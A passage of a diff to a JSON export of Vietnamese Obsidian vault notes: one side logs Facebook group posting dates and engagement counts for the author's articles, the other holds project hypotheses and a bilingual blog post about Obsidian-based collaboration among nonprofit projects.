và xử lý dữ liệu\n[[09-02]] 18:34 https://www.facebook.com/groups/dataanalysisandprocessing/posts/1616590132480059\n22:41 12 react\n[[10-02]] 11:26 18 react\n[[15-02]] 14:55 29 react\n\n## Data Science for Vietnam\n[[09-02]] 05:29 https://www.facebook.com/groups/BigDataStartUp/posts/2293562524168084\n[[09-02]]13:26 3 react, 3 share\n\n## Cộng đồng xử lý ngôn ngữ tự nhiên\n[[08-02]] 22:16 https://www.facebook.com/groups/vietnlp/posts/3885555301674171/\n[[09-02]] 0 0 0 \n\n## Xử lý tiếng Việt \n[[31-10]] 12:48 https://www.facebook.com/groups/261080434736153/posts/1460199274824257/\n\n## Data Analytics Community - Unlimited\n[[04-02]] 22:27 được duyệt https://www.facebook.com/groups/dataunlimited/posts/1057427298667747\n[[05-02]] 01:17 13 react, 2 comment, 7 share\n[[08-02]] 03:07 37 react, 6 comment, 19 share\n[[08-02]] 21:16 38 react, 6 comment, 20 share\n\n## Phân tích dữ liệu khoa học\n[[28-02]] 9:29 https://www.facebook.com/groups/phantichdulieukhoahoc/posts/7627433240602184/\n\n\n```yaml\nCộng đồng Data Engineer Việt Nam:\n 2023:\n Tháng 11:\n Ngày 8:\n Bài: [[một số ghi chép của mình về tiếp thị số, xử lý dữ liệu và lập trình]]\n URL: https://www.facebook.com/groups/dataengineering.vn/posts/7562816120412554\n```", + "Toàn bộ nội dung": "Người dùng sử dụng dễ dàng Obsidian\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-20T14:48:00.000Z", - "id": "Pd" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pr" }, { - "Tiêu đề": "Lập trình nói chung", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Lập trình nói chung", + "Tiêu đề": "Người muốn đóng góp có biết cách đóng góp", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Người muốn đóng góp có biết cách đóng góp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Pending\n\n## Viblo\n### [[04-02]]\n23:00 [Phân loại câu nhập bằng tiếng Việt tự nhiên](https://viblo.asia/p/phan-loai-cau-nhap-bang-tieng-viet-tu-nhien-2oKLnG91VQO)\n[[13-02]] 22:17 +3\n\n## Dev ơi mình đi đâu thế\n[[09-02]] 17:28 https://www.facebook.com/groups/devoiminhdidauthe/posts/24630994933210879\n[[10-02]] 11:24 26 react, 1 comment, 9 share\n[[13-02]] 22:16 58 react, 1 comment, 27 share\n[[16-02]] 17:57 60 react, 1 comment, 28 share\n## Cộng đồng Software Engineer Vietnam - Code chuẩn FAANG \n[[09-02]] 11:37 https://www.facebook.com/groups/softwareengineervietnam/posts/7917830094911153\n[[13-02]] 22:17 5 react, 4 share\n[[15-02]] 09:04 6 react, 5 share", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-16T10:57:00.000Z", - "id": "Pe" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Ps" }, { - "Tiêu đề": "Sản phẩm, phân tích kinh doanh", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Sản phẩm, phân tích kinh doanh", + "Tiêu đề": "Obsidian hữu ích để quản lý công việc", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Obsidian hữu ích để quản lý công việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Product Owner Vietnam\n[[28-10]] Bị từ chối đăng [[Phân loại câu nhập]]. Lý do: Bài viết không liên quan đến PO, spam, hoặc seeding\n[[07-02]] 23:01 [[Các buổi đáp ứng nhu cầu học lập trình]] https://www.facebook.com/groups/2008823466105086/posts/3669261523394597/\n\n## Cộng đồng IT Business Analyst Việt Nam\n[[08-02]] 23:34 https://www.facebook.com/groups/416892900315521/my_pending_content\n\n[[VN] Business Analytics & Decision Making Community](https://www.facebook.com/groups/BizAnalyticsVN/)\n[Pro hơn khi làm Product](https://www.facebook.com/groups/1337903446785345/)\n\n# [[Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả]]\n[[25-02]] 23:35 Product Maker Vietnam https://www.facebook.com/groups/2351910844953747/posts/3315289668615855/", + "Toàn bộ nội dung": "Obsidian đủ để quản lý công việc\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-26T09:58:00.000Z", - "id": "Pf" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pt" }, { - "Tiêu đề": "Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Hỗ trợ tổ chức/Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ", + "Tiêu đề": "Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Các buổi đáp ứng nhu cầu học lập trình]]\n## Pending\n[[07-02]] Dear Our Community - Sự Nghiệp Hạnh Phúc https://www.facebook.com/groups/410336910706612/my_pending_content\n[[07-02]] Project community https://www.facebook.com/groups/1027036950828309/my_pending_content\n[[08-02]] VSRM-Vietnam Social Research Methodology https://www.facebook.com/groups/277566036004587/my_pending_content/\n [[09-02]] 17:06 gửi trong chat\n [[14-02]] từ chối\n\n## 1 like\n[[07-02]] 11:28 WORKSHOP CHO NGƯỜI TRẺ https://www.facebook.com/groups/1870723840010036/posts/1938176049931481\n\n## SNPO\n### [[07-02]]\n14:50 duyệt sau khi hỏi anh Sơn tại sao chưa được duyệt https://www.facebook.com/groups/mangluoisnpo/permalink/1438222743706828\n21:55 4 react\n\n## Vietnamese Humanities & Social Sciences Association (VHSSA) \n[[29-02]] 20:00 https://www.facebook.com/groups/viethssa/posts/6699423853497361/\n[[21-03]] 20:33 3 like, 2 share\n\n# [[Câu hỏi khảo sát#Việc nhập liệu và gắn nhãn dữ liệu áp dụng vào công việc gì trong công tác xã hội?]]\n## Pending\n[[15-02]] Mạng lưới liên kết các dự án, cộng đồng trên toàn quốc https://www.facebook.com/groups/524373501783128/my_pending_content\n[[15-02]] Mạng lưới sinh viên, học viên, NCS Khoa Khoa học quản lý https://www.facebook.com/groups/181147522273100/my_pending_content\nThống kê y học https://www.facebook.com/groups/406384969731992/my_pending_content\n\n## VietPhD.org\n[[16-02]] 11:25 https://www.facebook.com/groups/vietphd/posts/10160410440597991\n20:00 32 react, 9 comment\n[[18-02]] 18:25 55 react, 30 comment\n\n[Ngoc-Quyen Do](https://www.facebook.com/groups/14115377990/user/100003619180169/?__cft__[0]=AZV23E1fCiHb9vN_t-H-tuaLlu5kqneEFE1gpOLY0u8ufCVrdA0GG2c8Vx_0el3cOwNJkUJCaIa6CF0lVH42Ob3RgIoaoT3y59E3i5Ccppe7iOF4Alc8K4rht6k4bwppXEZSav79I4Aoh6OhxDJz4fGv&__tn__=R]-R)\n\nXử lý dữ liệu định tính, làm coding, thì phải làm tương tự. Hiện nay NVivo làm tốt, nhưng bất kể phần mềm nào, công cụ nào, thì việc làm code để phân tích sâu vẫn là năng lực của nhà nghiên cứu. Chẳng hạn về semantic, 20k là giá, nhưng trong ngữ cảnh cụ thể nó có thể là sự vòi vĩnh… ví dụ vậy.\n\n[Alfredo VU](https://www.facebook.com/groups/14115377990/user/100001734587643/?__cft__[0]=AZV23E1fCiHb9vN_t-H-tuaLlu5kqneEFE1gpOLY0u8ufCVrdA0GG2c8Vx_0el3cOwNJkUJCaIa6CF0lVH42Ob3RgIoaoT3y59E3i5Ccppe7iOF4Alc8K4rht6k4bwppXEZSav79I4Aoh6OhxDJz4fGv&__tn__=R]-R)\n\nNày là xử lý ngôn ngữ tự nhiên cho tiếng Việt hở bạn?\n\nNhư vậy thay vì dùng llm thì chọn nlp cho rẻ tiền hơn, trong một ngữ cảnh, tình huống sử dụng cụ thể?\n\nVd: chatbot của cty chứng khoán cần diễn dịch câu hỏi của khách “các mã chứng khoán nào trong ngành hàng tiêu dùng nhanh, có giá đóng cửa thay đổi nhiều nhất trong tháng?”, thành câu truy vấn sql và trả về kết quả truy vấn dưới dạng ngôn ngữ tự nhiên\n\n[Jo Ngo](https://www.facebook.com/groups/14115377990/user/100013294099120/?__cft__[0]=AZV23E1fCiHb9vN_t-H-tuaLlu5kqneEFE1gpOLY0u8ufCVrdA0GG2c8Vx_0el3cOwNJkUJCaIa6CF0lVH42Ob3RgIoaoT3y59E3i5Ccppe7iOF4Alc8K4rht6k4bwppXEZSav79I4Aoh6OhxDJz4fGv&__tn__=R]-R)\n\nCái này gần với semantic tagging trong frame semantics, loại frame là spending, các khái niệm được coi là frame elements, mỗi khái niệm có một semantic role trong frame đó.\n\n## 1 react\n[[15-02]] 10:55 Diễn đàn Công tác xã hội - Phát triển cộng đồng https://www.facebook.com/groups/509845572360041/posts/7533535453324316/\n13:43 1 react\n\n[[15-02]] 13:42 VSRM-Vietnam Social Research Methodology https://www.facebook.com/groups/277566036004587/posts/1791134827981026\n22:36 0 0 0\n\n## Thống Kê Y Học\n[[14-03]] 22:44 https://www.facebook.com/groups/thongkeyhocandr/posts/2120466424990496\nLàm suốt, dùng R, tạo một nhóm từ theo list phân loại sẵn để tâch nội dung.\n[[21-03]] 10:06 8 react 25 comment 2 share\n## Dữ liệu nghệ thuật Việt Nam / Vietnam Art Archive / VAA\n[[15-02]] 17:54 https://www.facebook.com/groups/1176033822752394/posts/2084805781875189\n22:35 3 react\n\n## Mạng lưới Y học Dự phòng trẻ Việt Nam\n[[15-02]] 17:08 https://www.facebook.com/groups/mangluoiyhocduphongtre/posts/1478313499699337/\n3 comment \n22:26 6 react, 3 comment\n[[16-02]] 20:01 11 react, 4 comment\n\n# [[Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả]]\n## VSRM-Vietnam Social Research Methodology\n[[25-02]] submit\n[[16-03]] 07:31 Accept https://www.facebook.com/groups/277566036004587/posts/1797587164002459/\n[[21-03]] 20:30 21 react, 9 share https://www.facebook.com/groups/277566036004587/posts/1797587164002459/\n\n# đối ⊷ thoại lấy nhu cầu của các tổ chức phi lợi nhuận làm trung tâm\n## SNPO\n[[17-06]] 18:16 https://www.facebook.com/groups/mangluoisnpo/posts/1515032052692563\n", + "Toàn bộ nội dung": "Khác gì RSS, các group đăng thông tin như của LIN?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-21T14:43:00.000Z", - "id": "Pg" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pu" }, { - "Tiêu đề": "Launch", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Hỗ trợ tổ chức/Launch", + "Tiêu đề": "Việc phải nói chuyện nhu cầu của nhau là mệt mỏi", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Việc phải nói chuyện nhu cầu của nhau là mệt mỏi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[29-10]]\n20:41 [[Phân loại chi tiêu (ngắn)]] https://www.facebook.com/groups/launchpad/posts/24057146677233710) được đăng\n21:24 5 react\n21:58 6 react, 1 comment \n> - ồ đọc từ keeps ra dc hở bác? hay quá\n> - được bạn\n> - nhưng mà Kendy là ai? Kendy bị sao thế bác?\n> - à là một người bạn của bọn mình thôi. Nó cần chương trình này để quản lý nợ ấy mà\n# [[30-10]]\n10:18 - 10:29: 3 người comment\n13:01 48 react, 12 comment. Anh Quang Mai:\n> Anh ấp ủ ý tưởng đó từ hồi học đại học\n> Mà ko tìm được ai biết làm\n> Thấy em làm được rồi, anh muốn tìm cách phát triển sản phẩm này lên\n\n22:30: 61 react, 16 comment\n31 người vào link thì 3 người đọc lý do, tỉ lệ 10%. Nếu chỉ xét là đọc tiếp thì là 9/31=30%. Những người đọc tiếp có vẻ cũng khá quan tâm\n\n14:45 68 react\n123 người vào trang giới thiệu thì 14 người vào trang lấy code. Tỉ lệ 11%\n![](https://i.imgur.com/VMXcM7h.png) \n\n# [[05-02]]\n17:19 [[Bàn làm việc Google Calendar]] https://www.facebook.com/groups/153841081324271/posts/24463825066565867/\n17:49 được duyệt lại [[Phân loại câu nhập]]\n17:50 75 react\n22:00 80 react", + "Toàn bộ nội dung": "Việc phải nói chuyện nhu cầu của nhau là mệt mỏi\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-22T05:32:00.000Z", - "id": "Ph" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pv" }, { - "Tiêu đề": "SME, startup, khởi nghiệp", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Hỗ trợ tổ chức/SME, startup, khởi nghiệp", + "Tiêu đề": "Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/9 Blog/Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Phân loại chi tiêu]]\n## Pending\nSME Business Forum https://www.facebook.com/groups/sbforum.vn/my_pending_content\nHọc viện SME https://www.facebook.com/groups/hocviensme/my_pending_content\nStartup Freshman https://www.facebook.com/groups/502974746566119/my_pending_content\nCộng Đồng Startup Đà Nẵng https://www.facebook.com/groups/283251401820477/my_pending_content\nGIÚP NHAU KHỞI NGHIỆP https://www.facebook.com/groups/414184702279179/my_pending_content\nNhóm Tìm Bạn Khởi Nghiệp- Kết Nối Ý Tưởng- Hợp Tác Kinh Doanh https://www.facebook.com/groups/560509144398627/my_pending_content\nCộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB https://www.facebook.com/groups/298811123938314/my_pending_content\n\n## Declined\nCLB Doanh Nhân Trẻ Khởi Nghiệp-YBC Startup [Page not found | Facebook](https://www.facebook.com/groups/854111068514353/my_declined_content)\nTìm Bạn Khởi Nghiệp- Kết Nối Ý Tưởng- Hợp Tác Kinh Doanh ✅ https://www.facebook.com/groups/519336258927487/my_pending_content\n\n## Accepted\n[[07-02]] 18:35 Startup Job & Early-stage Investment ( Vietnam ) https://www.facebook.com/groups/1001237899913266/posts/7085099734860355/\n[[15-02]] 18:27 Vietnam Startup Club https://www.facebook.com/groups/vietnamstartupclub/posts/6950005465129035\n\n## 1 like\n[[07-02]] 19:57 Táo Khởi Nghiệp https://www.facebook.com/groups/taostartup/posts/7474379922606324\n[[07-02]] 16:00 CHUNG TAY KHỞI NGHIỆP - VIETNAM STARTUP TOGETHER https://www.facebook.com/groups/212916536801390/posts/1124432645649770/\n[[16-02]] 18:01 STARTUPS FORUM IN VIET NAM https://www.facebook.com/groups/startupsforuminvietnam/posts/945362689786435\n\n# [[Lời mời tham gia đầu tư vào Trấn Kỳ]] \nNhóm Tìm Bạn Khởi Nghiệp- Kết Nối Ý Tưởng- Hợp Tác Kinh Doanh https://www.facebook.com/groups/560509144398627/my_pending_content\n\n# [[Câu hỏi khảo sát#Khi nào thì các quán ăn cần tới việc nhập liệu và gắn nhãn dữ liệu?]]\n## Pending\n[[15-02]] Cộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB https://www.facebook.com/groups/298811123938314/my_pending_content", + "Mô tả bài đăng": "Động lực dự án này là gì? Tại sao lại chọn Obsidian?", + "Toàn bộ nội dung": "English below\n\n\n# Vấn đề: Sự hợp tác giữa các nhóm dự án chưa đạt được hiệu quả tối ưu\nViệc tìm kiếm người hợp tác cho các dự án mới có ý tưởng đột phá có vẻ khó. Trong 5 năm mình tham gia vào các mạng lưới, cộng đồng phi lợi nhuận, mình cảm thấy mặc dù đã có rất rất nhiều tổ chức muốn thúc đẩy một hệ sinh thái giữa các dự án, nhưng lại chưa cảm thấy sự hiệu quả đạt đến mức tối ưu, mặc dù mình đánh giá rất cao nỗ lực và sự chuyên nghiệp của họ. Mình phải thẳng thắn nói rằng mình thất vọng rất nhiều sau các sự kiện kết nối. Mọi người có biết đến nhau, nhưng sau buổi hôm đó cũng chỉ dừng lại ở đó, không đi xa hơn được. Mình nghĩ rằng nguyên nhân quan trọng nhất là các bên **quá nhiều việc**. Mọi người không thể đi đủ sâu để tìm hiểu về nhau. Vì để có thể đi sâu thì phải tốn rất rất nhiều thời gian, mà thường tổ chức phải phát triển đủ lớn để có một người chuyên về việc kết nối, chứ công việc thì rất rất nhiều. Nếu như các tổ chức kết nối cộng đồng chủ động phân loại và tổ chức các buổi gặp gỡ cho các dự án quy mô nhỏ tương tự nhau thì rất tốt, nhưng mình không thấy được điều đó.\n\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]. Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\n# Hướng giải quyết: Tạo thói quen sử dụng dữ liệu ở tại chỗ cho mọi người\nTrong những phần mềm quản lý công việc trên thị trường hiện nay, mình thấy có duy nhất Obsidian (và Git) là có thể đáp ứng nhu cầu đó. Triết lý của Obsidian là:\n\n- [[Obsidian lưu dữ liệu trên máy của người dùng|Dữ liệu nằm trên máy của người dùng và ở định dạng đơn giản]]\n- [[Obsidian xem liên kết là công dân hạng nhất|Liên kết là công dân hạng nhất]]\n- [[Obsidian cực kỳ dễ mở rộng tính năng|Cực kỳ dễ mở rộng tính năng]]\n\nCác triết lý này mở ra một loạt những tính năng một dự án phát triển cộng đồng muốn có. Ví dụ như:\n- Thành viên cộng đồng có thể đóng góp những **hiểu biết sâu sắc, nhu cầu và các dữ liệu khác một cách thụ động** vào kho dữ liệu chung. Họ không cần quan tâm (quá nhiều) vào kho dữ liệu chung mà vẫn có thể làm nó phong phú hơn, chỉ bằng việc tập trung vào việc tự quản lý dự án của mình. Sự đóng góp của họ chỉ là sản phẩm phụ của việc họ tập trung vào mình.\n- [[Đồ thị giúp thấy được bức tranh tổng thể]]: điều gì nhiều người quan tâm nhất? Ai có cùng nhu cầu với ai? Để ý rằng [[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]], [[Trực giác là việc nhìn ra mẫu hình không hơn không kém]], và [[Đồ thị giúp ta thấy được mẫu hình]]\n- [[Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người|Hoàn toàn miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người]]. [[Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền|Phù hợp khi bạn cần những chức năng nâng cao hoặc khi đội ngũ mở rộng mà không có nhiều tiền]]\n- [[Obsidian cực kỳ dễ mở rộng tính năng|Với plugin]], tính năng của nó có thể mở rộng theo nhu cầu và mức độ thành thạo của người dùng, khiến cho nó trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|giàn giáo nhận thức giúp giảm sự quá tải của bạn]], khiến cho nó trở thành một môi trường tư duy để tăng cường nhận thức (augmenting cognition)\n- [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]], tránh tình trạng [[Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin|phân mảnh dữ liệu do lưu dữ liệu ở nhiều công cụ khác nhau]]\n\nNăm 2015, để giải quyết những thách thức phát triển lớn mà thế giới phải đối mặt, Liên Hợp Quốc đã đề ra **17 Mục tiêu Phát triển Bền vững (SDG)**. Đó là động lực để các quốc gia hướng tới:\n\n\n\nMục tiêu cuối cùng trong 17 mục tiêu đó chính là về thúc đẩy sự hợp tác. Ở Việt Nam, mục tiêu số 17 này được chia thành [17 mục tiêu nhỏ hơn](https://data.vietnam.opendevelopmentmekong.net/vi/dataset/bao-cao-t-ng-h-p). Ta hãy xem một mục tiêu trong số chúng:\n\n> **Mục tiêu 17.4:** Tăng cường quan hệ đối tác toàn cầu cho phát triển bền vững, kết hợp với quan hệ đối tác nhiều bên nhằm huy động và chia sẻ kiến thức, kinh nghiệm, công nghệ và tài chính để hỗ trợ đạt được các mục tiêu phát triển bền vững ở Việt Nam\n>\n> ![|200](https://vietnam.un.org/profiles/undg_country/themes/custom/undg/images/SDGs/vi/SDG-17.svg)\n\nViệc phổ cập những công cụ như thế này sẽ giúp đáp ứng mục tiêu 17.4 này.\n\nXem thêm:: [Các nguồn tiền của LHQ cho những mục tiêu này đã được rót về Việt Nam như thế nào?](https://vietnam.un.org/vi/sdgs/17 \"\")\n# Tầm nhìn: Xây dựng nền kinh tế không dùng tiền\nNếu mô hình này thành công, thì ta sẽ xây dựng một mạng kết nối nhu cầu, nơi mà mọi người đáp ứng nhu cầu lẫn nhau. Họ có thể làm được như vậy vì tất cả mọi thành viên đều biết nhu cầu nào đang có nhiều người có nhất, ai đang có cùng nhu cầu với ai, v.v. Các nhu cầu của họ sẽ được thoả mãn bằng việc trao đổi nhu cầu cho nhau, hoặc cùng hợp tác để tạo giải pháp chung. Khi mạng lưới này lớn hơn nữa, thì nó sẽ hoạt động như một nền kinh tế. Bởi vì các nhu cầu trong đây được đáp ứng mà không cần dùng đến tiền làm trung gian, nên nó là một nền kinh tế không dùng tiền. Nó sẽ là sự kết hợp giữa nền kinh tế nền tảng (platform economy) và nền kinh tế quà tặng (gift economy). Nó cũng có liên hệ rất mật thiết tới [[Nền kinh tế chăm sóc]] (care economy).\n\nÝ tưởng [nền kinh tế không dùng tiền](https://en.wikipedia.org/wiki/Non-monetary_economy \"Non-monetary economy - Wikipedia\") không phải là một khái niệm mới. Một ví dụ điển hình là [Hệ thống Trao đổi Cộng đồng (Community Exchange System)](https://www.community-exchange.org/home/ \"Community Exchange System | Your Talents are Your Wealth\") với hơn 1200 nhóm trao đổi ở 107 nước. Tuy nhiên chưa có ở Việt Nam. \n\n\n> [!info] Bài chi tiết: [Một đám mây chim sáo](https://quảcầu.cc/mot-dam-may-chim-sao/?utm_source=CV+%C2%BB+T%E1%BB%AB+vi%E1%BB%87c+l%C6%B0u+d%E1%BB%AF+li%E1%BB%87u+t%E1%BA%A1i+ch%E1%BB%97+%C4%91%E1%BA%BFn+s%E1%BB%B1+h%E1%BB%A3p+t%C3%A1c+%C4%91a+ph%C6%B0%C6%A1ng+v%C3%A0+li%C3%AAn+ng%C3%A0nh+v%C3%A0+n%E1%BB%81n+kinh+t%E1%BA%BF+kh%C3%B4ng+d%C3%B9ng+ti%E1%BB%81n&utm_medium=M%E1%BB%99t+%C4%91%C3%A1m+m%C3%A2y+chim+s%C3%A1o&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2)\n\nVấn đề hiện tại bây giờ chỉ là: có bao nhiêu nhóm dự án sẵn sàng muốn sử dụng Obsidian cho việc quản lý dự án của mình?\n\n\n# Tóm lại\n\n```mermaid\n%%{init: {\"flowchart\": {\"htmlLabels\": false}} }%%\nflowchart TB\nsubgraph Giai đoạn\n a1[\"Tạo thói quen sử dụng\\ndữ liệu ở local cho mọi người\"] \n b1[\"Liên thông dữ liệu giữa các nhóm dự án\"]\n c1[\"Xây dựng nền kinh tế không dùng tiền\"]\n a1-->b1-->c1\nend\n\nsubgraph Sản phẩm\n\ta2[\"Vault Obsidian, quản lý dự án và công cụ nghĩ\"]\n\tb2[\"Knowledge graph\"]\n\tc2[\"Mạng kết nối nhu cầu\"]\n\ta2-->b2-->c2\nend\na1-.->a2\nb1-.->b2\nc1-.->c2\n```\n\nXem kế hoạch chi tiết ở [[📐 Dự án]]\n# Phụ lục: Thách thức: [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]\nTrong ngành khoa học máy tính, [[Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó]]. Điều đó khiến cho [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác|chúng ta phải đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]. [[Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối]]. Xu thế hiện nay là [[Các nhóm làm việc qua mạng ngày càng nhiều]], đến nỗi khi được hỏi về app đa số mọi người sẽ chỉ nhắc đến những cloud app như Google Drive hay Notion. Nghĩa là chúng ta đã hy sinh quá nhiều sự tự chủ dữ liệu cho sự tiện lợi đến nỗi chúng ta không còn biết gì về một loạt các phần mềm khác mạnh mẽ hơn. Việc đánh mất sự tự chủ đó là lý do khiến cho chúng ta luôn cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả. Đây chính là một sự bất lực học được. [[Người không học về lập trình thấy việc lập trình như làm phép thuật]], trong khi [[Lập trình viên biết lập trình chủ yếu là nhờ biết google]]. Bạn cũng biết google vậy, vậy tại sao vẫn thấy nó giống như làm phép thuật? Chúng tôi nghĩ một phần lớn là vì đã từ lâu bạn không còn cảm giác mình có sự tự chủ với dữ liệu của mình rồi. Khi bạn đã có lại được cảm giác đó, bạn sẽ thấy mình tự tin hơn về công nghệ.\n\n---\n# English\n## The problem\nIt’s hard for new-founded independent projects to find collaborators. Although there are many organizations that want to promote an ecosystem between projects, the optimal outcomes (not saying the expected ones) isn't achieved. Especially if the idea is so novel. Since it takes a lot of time and cognitive wordload to have deep conversations, often the project has to grow big enough to have a staff specialized in networking. \n\nFinding collaborators for new-founded independent projects with groundbreaking ideas is difficult. In the 5 years I've been involved in non-profit networks and communities, I feel that although there are many organizations that want to promote an ecosystem between projects, the optimal effectiveness has not achieved yet, despite of my great appreciation for their effort and professionalism. I must frankly ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-16T11:06:00.000Z", - "id": "Pi" + "Ngày tạo": "2023-07-26T03:33:00.000Z", + "Ngày cập nhật": "2024-09-02T06:55:00.000Z", + "id": "Pw" }, { - "Tiêu đề": "Kingdom of Cubes", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Kingdom of Cubes", + "Tiêu đề": "Kế hoạch phát triển công cụ cho hệ sinh thái", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Thành phẩm/Kế hoạch/Kế hoạch phát triển công cụ cho hệ sinh thái", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# 